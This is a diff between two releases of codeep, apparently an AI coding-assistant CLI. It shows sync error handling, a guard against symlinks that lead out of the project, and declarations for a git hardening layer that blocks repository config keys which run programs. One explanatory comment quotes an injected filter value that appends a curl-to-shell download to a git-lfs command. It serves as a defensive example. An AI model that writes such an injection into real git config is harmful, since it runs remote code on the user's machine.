codeep 3.3.3 → 3.4.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/acp/commands.d.ts +50 -1
- package/dist/acp/commands.js +545 -109
- package/dist/acp/protocol.d.ts +14 -5
- package/dist/acp/server.d.ts +36 -1
- package/dist/acp/server.js +581 -155
- package/dist/acp/serverHandlers.d.ts +2 -1
- package/dist/acp/serverHandlers.js +3 -0
- package/dist/acp/session.d.ts +28 -2
- package/dist/acp/session.js +25 -6
- package/dist/acp/transport.d.ts +40 -4
- package/dist/acp/transport.js +218 -25
- package/dist/acp/turns.d.ts +20 -0
- package/dist/acp/turns.js +30 -0
- package/dist/api/index.js +2 -0
- package/dist/api/ollamaNative.d.ts +3 -0
- package/dist/api/ollamaNative.js +35 -3
- package/dist/config/index.d.ts +21 -4
- package/dist/config/index.js +178 -123
- package/dist/renderer/agentExecution.d.ts +30 -2
- package/dist/renderer/agentExecution.js +248 -92
- package/dist/renderer/commands/helpers.d.ts +18 -2
- package/dist/renderer/commands/helpers.js +28 -5
- package/dist/renderer/commands.d.ts +2 -0
- package/dist/renderer/commands.js +180 -64
- package/dist/renderer/main.d.ts +41 -0
- package/dist/renderer/main.js +181 -80
- package/dist/utils/agent.d.ts +69 -4
- package/dist/utils/agent.js +416 -248
- package/dist/utils/agentChat.js +82 -10
- package/dist/utils/agents.d.ts +2 -1
- package/dist/utils/agents.js +100 -29
- package/dist/utils/auditLog.d.ts +4 -3
- package/dist/utils/auditLog.js +92 -9
- package/dist/utils/checkpoints.js +11 -6
- package/dist/utils/codeReview.js +28 -23
- package/dist/utils/codeepCloud.d.ts +14 -2
- package/dist/utils/codeepCloud.js +56 -20
- package/dist/utils/customCommands.js +7 -2
- package/dist/utils/git.d.ts +262 -4
- package/dist/utils/git.js +1928 -61
- package/dist/utils/gitHookInstaller.d.ts +32 -1
- package/dist/utils/gitHookInstaller.js +76 -8
- package/dist/utils/gitignore.d.ts +8 -0
- package/dist/utils/gitignore.js +41 -10
- package/dist/utils/headlessReview.d.ts +11 -0
- package/dist/utils/headlessReview.js +33 -5
- package/dist/utils/history.d.ts +22 -6
- package/dist/utils/history.js +140 -26
- package/dist/utils/logger.js +6 -7
- package/dist/utils/mcpConfig.d.ts +24 -0
- package/dist/utils/mcpConfig.js +36 -5
- package/dist/utils/mentions.d.ts +28 -5
- package/dist/utils/mentions.js +253 -45
- package/dist/utils/personalities.js +16 -6
- package/dist/utils/planMode.d.ts +13 -7
- package/dist/utils/planMode.js +32 -12
- package/dist/utils/projectIntelligence.d.ts +2 -0
- package/dist/utils/projectIntelligence.js +27 -8
- package/dist/utils/projectPaths.d.ts +53 -0
- package/dist/utils/projectPaths.js +146 -0
- package/dist/utils/shell.d.ts +119 -0
- package/dist/utils/shell.js +417 -45
- package/dist/utils/skillBundles.js +17 -7
- package/dist/utils/skillBundlesCloud.js +20 -3
- package/dist/utils/skills.d.ts +24 -2
- package/dist/utils/skills.js +235 -43
- package/dist/utils/smartContext.js +97 -23
- package/dist/utils/telegramApproval.d.ts +10 -2
- package/dist/utils/telegramApproval.js +22 -4
- package/dist/utils/toolExecution.d.ts +50 -2
- package/dist/utils/toolExecution.js +418 -16
- package/dist/utils/toolParsing.d.ts +7 -1
- package/dist/utils/toolParsing.js +12 -3
- package/dist/utils/userProfile.js +58 -16
- package/dist/utils/verify.d.ts +25 -4
- package/dist/utils/verify.js +259 -74
- package/dist/version.d.ts +1 -1
- package/dist/version.js +1 -1
- package/package.json +1 -1
|
@@ -105,7 +105,7 @@ declare function writePulledPersonalityBundle(items: Record<string, string>): nu
|
|
|
105
105
|
* look like a successful no-op — the two were indistinguishable when every
|
|
106
106
|
* path returned `null`, and a user watching `codeep account sync` print
|
|
107
107
|
* nothing had no way to tell which had happened. */
|
|
108
|
-
export type SyncFailure = 'not-linked' | 'unreachable' | 'rejected' | 'malformed';
|
|
108
|
+
export type SyncFailure = 'not-linked' | 'unreachable' | 'rejected' | 'malformed' | 'unreadable' | 'unwritable';
|
|
109
109
|
/** Success carries a count (which may legitimately be 0 — nothing new), plus
|
|
110
110
|
* how many local agents the server's tombstone list removed. */
|
|
111
111
|
export type SyncResult = {
|
|
@@ -206,7 +206,19 @@ export declare function pullLearning(): Promise<{
|
|
|
206
206
|
} | null>;
|
|
207
207
|
export declare function pushProfiles(profiles: Record<string, object>): Promise<boolean>;
|
|
208
208
|
export declare function pullProfiles(): Promise<Record<string, object> | null>;
|
|
209
|
-
/**
|
|
209
|
+
/**
|
|
210
|
+
* Push the local global profile.md to the dashboard. `count` is 1 when it was
|
|
211
|
+
* pushed and 0 when there is no local profile to push.
|
|
212
|
+
*/
|
|
213
|
+
export declare function pushUserProfileResult(): Promise<SyncResult>;
|
|
214
|
+
/**
|
|
215
|
+
* Pull the dashboard profile.md — additive: writes only when no local profile
|
|
216
|
+
* exists. `count` is 1 when written and 0 when skipped (nothing on the
|
|
217
|
+
* dashboard, or a local profile already there).
|
|
218
|
+
*/
|
|
219
|
+
export declare function pullUserProfileResult(): Promise<SyncResult>;
|
|
220
|
+
/** Push the local global profile.md to the dashboard. False when nothing was
|
|
221
|
+
* pushed, for whatever reason — see pushUserProfileResult for which. */
|
|
210
222
|
export declare function pushUserProfile(): Promise<boolean>;
|
|
211
223
|
/** Pull the dashboard profile.md — additive: writes only when no local profile
|
|
212
224
|
* exists. Returns 1 if written, 0 if skipped, null on error / not linked. */
|
|
@@ -431,17 +431,24 @@ export function describeSyncFailure(reason) {
|
|
|
431
431
|
switch (reason) {
|
|
432
432
|
case 'not-linked': return 'not linked to codeep.dev — run: codeep account';
|
|
433
433
|
case 'unreachable': return "couldn't reach codeep.dev";
|
|
434
|
-
case 'rejected': return 'codeep.dev refused the request —
|
|
434
|
+
case 'rejected': return 'codeep.dev refused the request — sign in again with: codeep account';
|
|
435
435
|
case 'malformed': return 'codeep.dev sent a response this version cannot read';
|
|
436
|
+
case 'unreadable': return 'the local file could not be read';
|
|
437
|
+
case 'unwritable': return 'the downloaded file could not be saved on this machine';
|
|
436
438
|
}
|
|
437
439
|
}
|
|
440
|
+
/** Why a request that got an answer failed. A revoked or unknown token is
|
|
441
|
+
* answered with 401/403 and needs a new link, not a better connection. */
|
|
442
|
+
function failureFor(res) {
|
|
443
|
+
return res && (res.status === 401 || res.status === 403) ? 'rejected' : 'unreachable';
|
|
444
|
+
}
|
|
438
445
|
async function pullBundle(kind) {
|
|
439
446
|
const syncToken = getSyncToken();
|
|
440
447
|
if (!syncToken)
|
|
441
448
|
return { ok: false, reason: 'not-linked' };
|
|
442
449
|
const res = await fetchWithRetry(`${API_BASE}/api/${kind}`, { headers: { 'x-sync-token': syncToken } });
|
|
443
450
|
if (!res?.ok)
|
|
444
|
-
return { ok: false, reason:
|
|
451
|
+
return { ok: false, reason: failureFor(res) };
|
|
445
452
|
try {
|
|
446
453
|
const data = await res.json();
|
|
447
454
|
if (!data.ok)
|
|
@@ -474,7 +481,7 @@ async function pushBundle(kind) {
|
|
|
474
481
|
headers: { 'Content-Type': 'application/json', 'x-sync-token': syncToken },
|
|
475
482
|
body: JSON.stringify({ items }),
|
|
476
483
|
});
|
|
477
|
-
return res?.ok ? { ok: true, count, removed: 0 } : { ok: false, reason:
|
|
484
|
+
return res?.ok ? { ok: true, count, removed: 0 } : { ok: false, reason: failureFor(res) };
|
|
478
485
|
}
|
|
479
486
|
export const pullPersonalities = () => pullBundle('personalities');
|
|
480
487
|
export const getLastPersonalityPullBackupCount = () => lastPersonalityPullBackupCount;
|
|
@@ -695,20 +702,23 @@ export async function pullProfiles() {
|
|
|
695
702
|
function userProfilePath() {
|
|
696
703
|
return join(homedir(), '.codeep', 'profile.md');
|
|
697
704
|
}
|
|
698
|
-
/**
|
|
699
|
-
|
|
705
|
+
/**
|
|
706
|
+
* Push the local global profile.md to the dashboard. `count` is 1 when it was
|
|
707
|
+
* pushed and 0 when there is no local profile to push.
|
|
708
|
+
*/
|
|
709
|
+
export async function pushUserProfileResult() {
|
|
700
710
|
const syncToken = getSyncToken();
|
|
701
711
|
if (!syncToken)
|
|
702
|
-
return false;
|
|
712
|
+
return { ok: false, reason: 'not-linked' };
|
|
703
713
|
const path = userProfilePath();
|
|
704
714
|
if (!existsSync(path))
|
|
705
|
-
return
|
|
715
|
+
return { ok: true, count: 0, removed: 0 };
|
|
706
716
|
let content = '';
|
|
707
717
|
try {
|
|
708
718
|
content = readFileSync(path, 'utf8');
|
|
709
719
|
}
|
|
710
720
|
catch {
|
|
711
|
-
return false;
|
|
721
|
+
return { ok: false, reason: 'unreadable' };
|
|
712
722
|
}
|
|
713
723
|
if (content.length > 32 * 1024)
|
|
714
724
|
content = content.slice(0, 32 * 1024);
|
|
@@ -717,34 +727,60 @@ export async function pushUserProfile() {
|
|
|
717
727
|
headers: { 'Content-Type': 'application/json', 'x-sync-token': syncToken },
|
|
718
728
|
body: JSON.stringify({ content }),
|
|
719
729
|
});
|
|
720
|
-
return res?.ok
|
|
730
|
+
return res?.ok ? { ok: true, count: 1, removed: 0 } : { ok: false, reason: failureFor(res) };
|
|
721
731
|
}
|
|
722
|
-
/**
|
|
723
|
-
*
|
|
724
|
-
|
|
732
|
+
/**
|
|
733
|
+
* Pull the dashboard profile.md — additive: writes only when no local profile
|
|
734
|
+
* exists. `count` is 1 when written and 0 when skipped (nothing on the
|
|
735
|
+
* dashboard, or a local profile already there).
|
|
736
|
+
*/
|
|
737
|
+
export async function pullUserProfileResult() {
|
|
725
738
|
const syncToken = getSyncToken();
|
|
726
739
|
if (!syncToken)
|
|
727
|
-
return
|
|
740
|
+
return { ok: false, reason: 'not-linked' };
|
|
728
741
|
const res = await fetchWithRetry(`${API_BASE}/api/sync/user-profile`, { headers: { 'x-sync-token': syncToken } });
|
|
729
742
|
if (!res?.ok)
|
|
730
|
-
return
|
|
743
|
+
return { ok: false, reason: failureFor(res) };
|
|
744
|
+
let data;
|
|
745
|
+
try {
|
|
746
|
+
data = await res.json();
|
|
747
|
+
}
|
|
748
|
+
catch {
|
|
749
|
+
return { ok: false, reason: 'malformed' };
|
|
750
|
+
}
|
|
751
|
+
if (!data || typeof data !== 'object')
|
|
752
|
+
return { ok: false, reason: 'malformed' };
|
|
753
|
+
const skipped = { ok: true, count: 0, removed: 0 };
|
|
754
|
+
if (!data.ok)
|
|
755
|
+
return { ok: false, reason: 'rejected' };
|
|
756
|
+
if (!data.content)
|
|
757
|
+
return skipped;
|
|
731
758
|
try {
|
|
732
|
-
const data = await res.json();
|
|
733
|
-
if (!data.ok || !data.content)
|
|
734
|
-
return 0;
|
|
735
759
|
const path = userProfilePath();
|
|
736
760
|
if (existsSync(path))
|
|
737
|
-
return
|
|
761
|
+
return skipped; // never clobber local
|
|
738
762
|
const dir = join(homedir(), '.codeep');
|
|
739
763
|
if (!existsSync(dir))
|
|
740
764
|
mkdirSync(dir, { recursive: true });
|
|
741
765
|
writeFileSync(path, data.content);
|
|
742
|
-
return 1;
|
|
766
|
+
return { ok: true, count: 1, removed: 0 };
|
|
743
767
|
}
|
|
744
768
|
catch {
|
|
745
|
-
return
|
|
769
|
+
return { ok: false, reason: 'unwritable' };
|
|
746
770
|
}
|
|
747
771
|
}
|
|
772
|
+
/** Push the local global profile.md to the dashboard. False when nothing was
|
|
773
|
+
* pushed, for whatever reason — see pushUserProfileResult for which. */
|
|
774
|
+
export async function pushUserProfile() {
|
|
775
|
+
const result = await pushUserProfileResult();
|
|
776
|
+
return result.ok && result.count === 1;
|
|
777
|
+
}
|
|
778
|
+
/** Pull the dashboard profile.md — additive: writes only when no local profile
|
|
779
|
+
* exists. Returns 1 if written, 0 if skipped, null on error / not linked. */
|
|
780
|
+
export async function pullUserProfile() {
|
|
781
|
+
const result = await pullUserProfileResult();
|
|
782
|
+
return result.ok ? result.count : null;
|
|
783
|
+
}
|
|
748
784
|
export async function syncMemoryNotes(projectName, notes) {
|
|
749
785
|
if (!isTelemetryEnabled())
|
|
750
786
|
return; // user opted out of automatic uploads
|
|
@@ -28,6 +28,7 @@
|
|
|
28
28
|
import { readFileSync, readdirSync, existsSync, statSync } from 'fs';
|
|
29
29
|
import { join } from 'path';
|
|
30
30
|
import { homedir } from 'os';
|
|
31
|
+
import { leadsOutsideProject } from './projectPaths.js';
|
|
31
32
|
/**
|
|
32
33
|
* Minimal YAML frontmatter parser — handles `key: value` and
|
|
33
34
|
* `key: [a, b, c]`. We deliberately avoid a YAML dependency because the
|
|
@@ -61,7 +62,7 @@ function parseFrontmatter(raw) {
|
|
|
61
62
|
}
|
|
62
63
|
return { meta, body: match[2].trimStart() };
|
|
63
64
|
}
|
|
64
|
-
function loadFromDir(dir, scope) {
|
|
65
|
+
function loadFromDir(dir, scope, projectRoot) {
|
|
65
66
|
if (!existsSync(dir))
|
|
66
67
|
return [];
|
|
67
68
|
let entries;
|
|
@@ -77,6 +78,10 @@ function loadFromDir(dir, scope) {
|
|
|
77
78
|
continue;
|
|
78
79
|
const fullPath = join(dir, entry);
|
|
79
80
|
try {
|
|
81
|
+
// A project's files come with the repo: a link out of it would put an
|
|
82
|
+
// arbitrary file of the user's (credentials, history) into the prompt.
|
|
83
|
+
if (projectRoot && leadsOutsideProject(fullPath, projectRoot))
|
|
84
|
+
continue;
|
|
80
85
|
const stat = statSync(fullPath);
|
|
81
86
|
if (!stat.isFile())
|
|
82
87
|
continue;
|
|
@@ -112,7 +117,7 @@ function loadFromDir(dir, scope) {
|
|
|
112
117
|
export function loadCustomCommands(workspaceRoot) {
|
|
113
118
|
const global = loadFromDir(join(homedir(), '.codeep', 'commands'), 'global');
|
|
114
119
|
const project = workspaceRoot
|
|
115
|
-
? loadFromDir(join(workspaceRoot, '.codeep', 'commands'), 'project')
|
|
120
|
+
? loadFromDir(join(workspaceRoot, '.codeep', 'commands'), 'project', workspaceRoot)
|
|
116
121
|
: [];
|
|
117
122
|
// Project wins on name collisions; collapse to a single map keyed by name.
|
|
118
123
|
const byName = new Map();
|
package/dist/utils/git.d.ts
CHANGED
|
@@ -1,10 +1,41 @@
|
|
|
1
|
-
import { ActionLog } from './tools';
|
|
1
|
+
import type { ActionLog } from './tools';
|
|
2
2
|
export interface GitStatus {
|
|
3
3
|
isRepo: boolean;
|
|
4
4
|
branch?: string;
|
|
5
5
|
hasChanges?: boolean;
|
|
6
6
|
ahead?: number;
|
|
7
7
|
behind?: number;
|
|
8
|
+
/**
|
|
9
|
+
* Why there is no branch here — a GitHardeningError, or git itself failing.
|
|
10
|
+
* Declared because getGitStatus was already filling it through an
|
|
11
|
+
* `as GitStatus` cast that the compiler could not check: the field existed
|
|
12
|
+
* at runtime, nothing in the type said so, and the status line in
|
|
13
|
+
* renderer/main.ts reads `.branch` only — so a refusal showed up as the
|
|
14
|
+
* branch silently disappearing. Written for the user; show it where the
|
|
15
|
+
* branch would go.
|
|
16
|
+
*
|
|
17
|
+
* Every way git can fail lands here, including the ordinary ones. The
|
|
18
|
+
* commonest is a brand-new `git init` with no commit yet, where `git
|
|
19
|
+
* rev-parse --abbrev-ref HEAD` answers `fatal: ambiguous argument 'HEAD'`
|
|
20
|
+
* (git 2.54) — which is why nothing should put this in front of the user
|
|
21
|
+
* as an instruction. Use `refusal` for that.
|
|
22
|
+
*/
|
|
23
|
+
error?: string;
|
|
24
|
+
/**
|
|
25
|
+
* Set ONLY when the hardening refused to run git here, and never for an
|
|
26
|
+
* ordinary git failure. The message names the config key and the
|
|
27
|
+
* `git config --unset` that clears it, so it is the one the TUI shows
|
|
28
|
+
* verbatim (see gitRefusalNotice in renderer/main.ts).
|
|
29
|
+
*
|
|
30
|
+
* This field shipped dead in the first cut of the hotfix: main.ts read
|
|
31
|
+
* `status.refusal`, `GitStatus` never declared it and getGitStatus never
|
|
32
|
+
* set it, so the warning it exists to raise never fired once and the only
|
|
33
|
+
* symptom of a refused repository was the branch quietly vanishing from
|
|
34
|
+
* the header — the exact symptom that notice was written to remove. When
|
|
35
|
+
* this is set, `error` carries the same text, so callers that only know
|
|
36
|
+
* about `error` still say something useful.
|
|
37
|
+
*/
|
|
38
|
+
refusal?: string;
|
|
8
39
|
}
|
|
9
40
|
export interface GitDiffResult {
|
|
10
41
|
success: boolean;
|
|
@@ -17,8 +48,201 @@ export interface GitCommitResult {
|
|
|
17
48
|
error?: string;
|
|
18
49
|
}
|
|
19
50
|
/**
|
|
20
|
-
*
|
|
51
|
+
* Raised instead of handing git an environment that the config scan below
|
|
52
|
+
* could not finish building. Every caller in this file catches it and reports
|
|
53
|
+
* `error.message`, which is written for the user rather than for a log.
|
|
54
|
+
*/
|
|
55
|
+
export declare class GitHardeningError extends Error {
|
|
56
|
+
constructor(message: string);
|
|
57
|
+
}
|
|
58
|
+
/**
|
|
59
|
+
* The exact `filter.<driver>.{clean,smudge,process}` command lines that the
|
|
60
|
+
* well-known content-filter integrations write into a repository's own
|
|
61
|
+
* config. A repo-scope filter whose value is one of these is left RUNNING;
|
|
62
|
+
* every other one refuses the call (see the filter rule below).
|
|
63
|
+
*
|
|
64
|
+
* These are whole-value comparisons against a frozen list of literals, never
|
|
65
|
+
* a prefix or a substring test, and that is the point rather than a detail.
|
|
66
|
+
* Git runs a filter command through a shell, so `git-lfs clean -- %f; curl
|
|
67
|
+
* https://…|sh` STARTS WITH an allowlisted line and would sail through a
|
|
68
|
+
* `startsWith` check while doing something else entirely; `%f` in the middle
|
|
69
|
+
* of a longer value is the same hole for a substring check. Whole-value
|
|
70
|
+
* equality against literals also means "contains no shell metacharacter" is a
|
|
71
|
+
* property of this list rather than something that has to be re-checked at
|
|
72
|
+
* runtime — and the suite asserts that property so a future entry cannot
|
|
73
|
+
* quietly break it.
|
|
74
|
+
*
|
|
75
|
+
* These are the values with the program named BARE. The same integrations
|
|
76
|
+
* also spell the program as an absolute path, which is the machine's and not
|
|
77
|
+
* a string this file can pin — see isSafeContentFilterCommand(), which takes
|
|
78
|
+
* the basename apart and compares it against this same list.
|
|
79
|
+
*
|
|
80
|
+
* A spelling that is NOT accepted in any form: `"<abs path to python>" -m
|
|
81
|
+
* nbstripout`, which newer nbstripout installers write. Its program is
|
|
82
|
+
* `python`, so there is nothing to recognise in it — the argument tail is
|
|
83
|
+
* what says what it will do, and pinning `-m nbstripout` would pin a
|
|
84
|
+
* mechanism for running any module at all. Those repositories get the
|
|
85
|
+
* refusal and its `--unset`, which is the fail-closed half of the policy
|
|
86
|
+
* working as intended rather than an oversight.
|
|
87
|
+
*/
|
|
88
|
+
export declare const SAFE_CONTENT_FILTER_COMMANDS: ReadonlySet<string>;
|
|
89
|
+
/**
|
|
90
|
+
* Whether a repo-scope `filter.<driver>.{clean,smudge,process}` value is one
|
|
91
|
+
* of the well-known integrations — accepting the spelling that names the
|
|
92
|
+
* program by an ABSOLUTE PATH, which the frozen list above cannot hold.
|
|
93
|
+
*
|
|
94
|
+
* `/usr/local/bin/git-lfs filter-process` is what a `git lfs install` writes
|
|
95
|
+
* on a machine where git-lfs is not the one on PATH, and git-annex writes the
|
|
96
|
+
* same shape. Those are ordinary working repositories, and the whole-value
|
|
97
|
+
* list refused every git call in them — the fail-closed policy landing on the
|
|
98
|
+
* integrations it was written to keep running.
|
|
99
|
+
*
|
|
100
|
+
* What is compared is the program's BASENAME plus the argument tail EXACTLY
|
|
101
|
+
* as the literal spells it, so every property of the list survives the
|
|
102
|
+
* relaxation. `/usr/local/bin/git-lfs clean -- %f; curl …|sh` fails on its
|
|
103
|
+
* bytes before anything is compared; `… clean -- %f --extra` and `…
|
|
104
|
+
* FILTER-PROCESS` produce a tail that is not in the list; a leading command
|
|
105
|
+
* puts something other than an absolute path in the first word. There is no
|
|
106
|
+
* prefix matching anywhere in here, in either half.
|
|
107
|
+
*
|
|
108
|
+
* And the path has to name the program PATH ALREADY RESOLVES that basename
|
|
109
|
+
* to, which is the check that keeps this from being a way in. Without it the
|
|
110
|
+
* repository picks the program: it ships an executable called `git-lfs` — or
|
|
111
|
+
* `cat`, which is on the list with no arguments at all — points the filter at
|
|
112
|
+
* its own checkout, and git runs it. That is not a relaxation of the
|
|
113
|
+
* allowlist, it is the end of it. With it, an absolute path can only name the
|
|
114
|
+
* same file the bare spelling on the list would have run anyway, so the
|
|
115
|
+
* repository gains nothing by writing it out.
|
|
116
|
+
*
|
|
117
|
+
* `env` is the environment the REAL git call will run under, so the PATH
|
|
118
|
+
* asked here is the PATH the shell git spawns would search.
|
|
119
|
+
*/
|
|
120
|
+
export declare function isSafeContentFilterCommand(value: string, env: NodeJS.ProcessEnv): boolean;
|
|
121
|
+
/**
|
|
122
|
+
* Whether `<key>=<value>` is a config key that makes git RUN a program.
|
|
123
|
+
*
|
|
124
|
+
* Exported for utils/shell.ts, which has to answer the same question about a
|
|
125
|
+
* `git -c <key>=<value>` an agent typed. Keeping one answer is the point:
|
|
126
|
+
* these are exactly the keys this file spends its length neutralising, and a
|
|
127
|
+
* second hand-written list in the command validator would drift away from
|
|
128
|
+
* this one the first time a rule is added here.
|
|
129
|
+
*
|
|
130
|
+
* Both halves matter. GIT_EXECUTING_CONFIG is the always-on set, so a `-c
|
|
131
|
+
* core.fsmonitor=<program>` would otherwise WIN — git reads its own `-c`
|
|
132
|
+
* after the GIT_CONFIG_* pairs (verified, git 2.54). REPO_EXECUTING_RULES is
|
|
133
|
+
* the scope-aware set, and `-c` is not a scope the scan can see at all.
|
|
21
134
|
*/
|
|
135
|
+
export declare function isExecutingConfigKey(key: string): boolean;
|
|
136
|
+
/**
|
|
137
|
+
* How many submodule configs one call will read, and how far the enumeration
|
|
138
|
+
* follows submodules of submodules.
|
|
139
|
+
*
|
|
140
|
+
* Both are bounds on a tree the REPOSITORY owns — a checkout can declare as
|
|
141
|
+
* many submodules, nested as deeply, as whoever prepared it liked. Past
|
|
142
|
+
* either one the call is REFUSED rather than partly scanned: "we looked at
|
|
143
|
+
* some of your submodules" is a fail-open dressed as a limit. Every other
|
|
144
|
+
* bound in this pass throws for the same reason, which is the half that used
|
|
145
|
+
* to be missing — the depth guard and the directory-read failure both used
|
|
146
|
+
* to `return`, so a tree nested one level too deep, or a `.git/modules` we
|
|
147
|
+
* had no permission to read, silently became "this repository has no
|
|
148
|
+
* submodules".
|
|
149
|
+
*
|
|
150
|
+
* The count was 512, and that was a wall rather than a backstop: a
|
|
151
|
+
* superproject past it was refused forever, with a message naming nothing
|
|
152
|
+
* the user could change. 2048 is an order of magnitude past the largest real
|
|
153
|
+
* superproject, so only a tree built to reach it does. It is not raised
|
|
154
|
+
* further because every config read is one more `-c include.path=` argument
|
|
155
|
+
* on one command line, and a Windows command line stops at 32KB; and the
|
|
156
|
+
* message now names the two things that get the user moving again.
|
|
157
|
+
*/
|
|
158
|
+
export declare const MAX_SUBMODULE_CONFIGS = 2048;
|
|
159
|
+
export interface HardenedGitEnvOptions {
|
|
160
|
+
/**
|
|
161
|
+
* The repository the git call will run in — the same `cwd` the spawn gets.
|
|
162
|
+
* Its config is scanned so repo-supplied programs can be neutralised, so a
|
|
163
|
+
* caller that passes the wrong one gets the wrong repository's protection.
|
|
164
|
+
*/
|
|
165
|
+
cwd?: string;
|
|
166
|
+
/**
|
|
167
|
+
* Disable the repository's hooks. Only for the commands Codeep runs BY
|
|
168
|
+
* ITSELF — status, diff, rev-parse, show, ls-files, log — where the user
|
|
169
|
+
* never asked for a hook to run. Commands the user triggered (`/commit`,
|
|
170
|
+
* `/git-commit`, the agent auto-commit, a branch switch) leave it false, so
|
|
171
|
+
* lint-staged, commit-signing hooks and Codeep's own review hook run
|
|
172
|
+
* exactly as they would in the user's terminal.
|
|
173
|
+
*
|
|
174
|
+
* What justifies leaving them on is the approval, not a claim that a hook
|
|
175
|
+
* cannot get onto disk. The user asked for this commit or this checkout, so
|
|
176
|
+
* the repository's hooks run for it exactly as they would if they had typed
|
|
177
|
+
* the command themselves — and that is the whole argument. The write gate
|
|
178
|
+
* in utils/toolExecution.ts raises a confirmation for a hook a MODEL writes
|
|
179
|
+
* with write_file; it does not, and does not claim to, cover a shell
|
|
180
|
+
* command the user approved, where `node setup.cjs`, `cp`, `tee` or a
|
|
181
|
+
* redirect writes the same file with nothing to prompt about (reproduced
|
|
182
|
+
* twice against git 2.54). See the comment above that gate, which says the
|
|
183
|
+
* same thing from the other side.
|
|
184
|
+
*/
|
|
185
|
+
noHooks?: boolean;
|
|
186
|
+
/**
|
|
187
|
+
* The environment to harden, defaulting to this process's. A caller with
|
|
188
|
+
* its own overrides must pass them HERE rather than spreading them over the
|
|
189
|
+
* result: their `GIT_CONFIG_COUNT` would replace ours and silently drop
|
|
190
|
+
* every override above their count.
|
|
191
|
+
*/
|
|
192
|
+
base?: NodeJS.ProcessEnv;
|
|
193
|
+
}
|
|
194
|
+
/**
|
|
195
|
+
* The environment for a git child process, with every command-executing config
|
|
196
|
+
* key neutralised. Pass it to EVERY git spawn — including the read-only ones:
|
|
197
|
+
* `git status` is the call that runs `core.fsmonitor` and a `filter.<d>.clean`.
|
|
198
|
+
*
|
|
199
|
+
* It costs one `git config --list` plus one `git ls-files` per call —
|
|
200
|
+
* measured 13.6ms here in a plain repository at its root, 19.7ms in one with
|
|
201
|
+
* a submodule, 28.3ms with fifty of them and 47.7ms in a 100k-file checkout
|
|
202
|
+
* with none (see listSubmoduleConfig for where each part goes, and for why
|
|
203
|
+
* the index is read even in a repository that declares no submodules) — so build
|
|
204
|
+
* it ONCE per function and hand the same object to every spawn inside. There is
|
|
205
|
+
* deliberately no cache across calls: the scan's whole job is to notice what
|
|
206
|
+
* the repository's config says RIGHT NOW, and a hostile `.git/config` written
|
|
207
|
+
* after a cache warmed would be the one it failed to neutralise. Nothing needs
|
|
208
|
+
* one either — the only repeated caller, the status-line branch in
|
|
209
|
+
* renderer/main.ts, already caches its own result and re-reads only when the
|
|
210
|
+
* project moved or an agent run finished.
|
|
211
|
+
*
|
|
212
|
+
* Environment variables are the USER's, not the repository's, so this removes
|
|
213
|
+
* exactly one and leaves the rest:
|
|
214
|
+
*
|
|
215
|
+
* - `GIT_CONFIG_PARAMETERS` is deleted. Git reads it AFTER the
|
|
216
|
+
* `GIT_CONFIG_COUNT` pairs and it wins, which silently disables this whole
|
|
217
|
+
* function (verified). Nothing sets it but git itself, for its own children.
|
|
218
|
+
* - `GIT_EXTERNAL_DIFF`, `GIT_SSH_COMMAND`, `GIT_ASKPASS`, `GIT_PROXY_COMMAND`
|
|
219
|
+
* name programs, but ones the user exported for their own git. Codeep's diff
|
|
220
|
+
* reads pass `--no-ext-diff`, which beats `GIT_EXTERNAL_DIFF` anyway.
|
|
221
|
+
* - `GIT_DIR`, `GIT_WORK_TREE`, `GIT_INDEX_FILE`, `GIT_COMMON_DIR` are kept
|
|
222
|
+
* because a hook exports them: the pre-commit hook Codeep installs runs
|
|
223
|
+
* `codeep review`, and `git diff --cached` there must read the hook's
|
|
224
|
+
* TEMPORARY index to see what is really being committed.
|
|
225
|
+
* - `GIT_CONFIG_GLOBAL` / `GIT_CONFIG_SYSTEM` / `GIT_ALTERNATE_OBJECT_DIRECTORIES`
|
|
226
|
+
* are kept: the scan above runs under this same environment, so it sees
|
|
227
|
+
* whatever they make git see.
|
|
228
|
+
*
|
|
229
|
+
* Anyone who can set environment variables on this process already owns it.
|
|
230
|
+
*
|
|
231
|
+
* THROWS `GitHardeningError` rather than return a half-built environment when
|
|
232
|
+
* the config scan cannot complete, or when the repository named a program no
|
|
233
|
+
* override can switch off. The scan used to swallow every error and fall back
|
|
234
|
+
* to the always-on pairs alone, so a repository that padded its `.git/config`
|
|
235
|
+
* past the read buffer turned the entire repo-scope layer off in silence and
|
|
236
|
+
* ran its `filter.<d>.clean` on the next `git status`. Every caller in this
|
|
237
|
+
* file catches it and degrades: the status line loses its branch, `/commit`,
|
|
238
|
+
* `@git` and the review path show `error.message`, which is written for the
|
|
239
|
+
* user. A NEW caller has to do the same, or the refusal reaches them as a
|
|
240
|
+
* crash — and a caller inside a promise executor that does not catch it never
|
|
241
|
+
* settles at all.
|
|
242
|
+
*/
|
|
243
|
+
export declare function hardenedGitEnv(options?: HardenedGitEnvOptions): NodeJS.ProcessEnv;
|
|
244
|
+
/** A repository whose git Codeep is willing to run. Refusals answer `false`;
|
|
245
|
+
* callers that can show a reason use the functions below, which carry it. */
|
|
22
246
|
export declare function isGitRepository(cwd?: string): boolean;
|
|
23
247
|
/**
|
|
24
248
|
* Get current git status
|
|
@@ -28,8 +252,25 @@ export declare function getGitStatus(cwd?: string): GitStatus;
|
|
|
28
252
|
* Get git diff (staged or unstaged)
|
|
29
253
|
*/
|
|
30
254
|
export declare function getGitDiff(staged?: boolean, cwd?: string): GitDiffResult;
|
|
255
|
+
export interface GitChangedFilesResult {
|
|
256
|
+
files: string[];
|
|
257
|
+
/**
|
|
258
|
+
* Why the list is empty because git would not run, rather than because
|
|
259
|
+
* nothing changed. The two read the same through getChangedFiles() below,
|
|
260
|
+
* and a caller that gates work on "are there changes?" — the review
|
|
261
|
+
* pipeline in utils/codeReview.ts does — would otherwise quietly review
|
|
262
|
+
* nothing in a repository whose config Codeep refuses to run git in.
|
|
263
|
+
*/
|
|
264
|
+
error?: string;
|
|
265
|
+
}
|
|
266
|
+
/**
|
|
267
|
+
* Get list of changed files, with the reason when there are none.
|
|
268
|
+
*/
|
|
269
|
+
export declare function getChangedFilesResult(cwd?: string): GitChangedFilesResult;
|
|
31
270
|
/**
|
|
32
|
-
* Get list of changed files
|
|
271
|
+
* Get list of changed files. Empty on any failure — see
|
|
272
|
+
* getChangedFilesResult() when the difference between "nothing changed" and
|
|
273
|
+
* "git was refused" matters.
|
|
33
274
|
*/
|
|
34
275
|
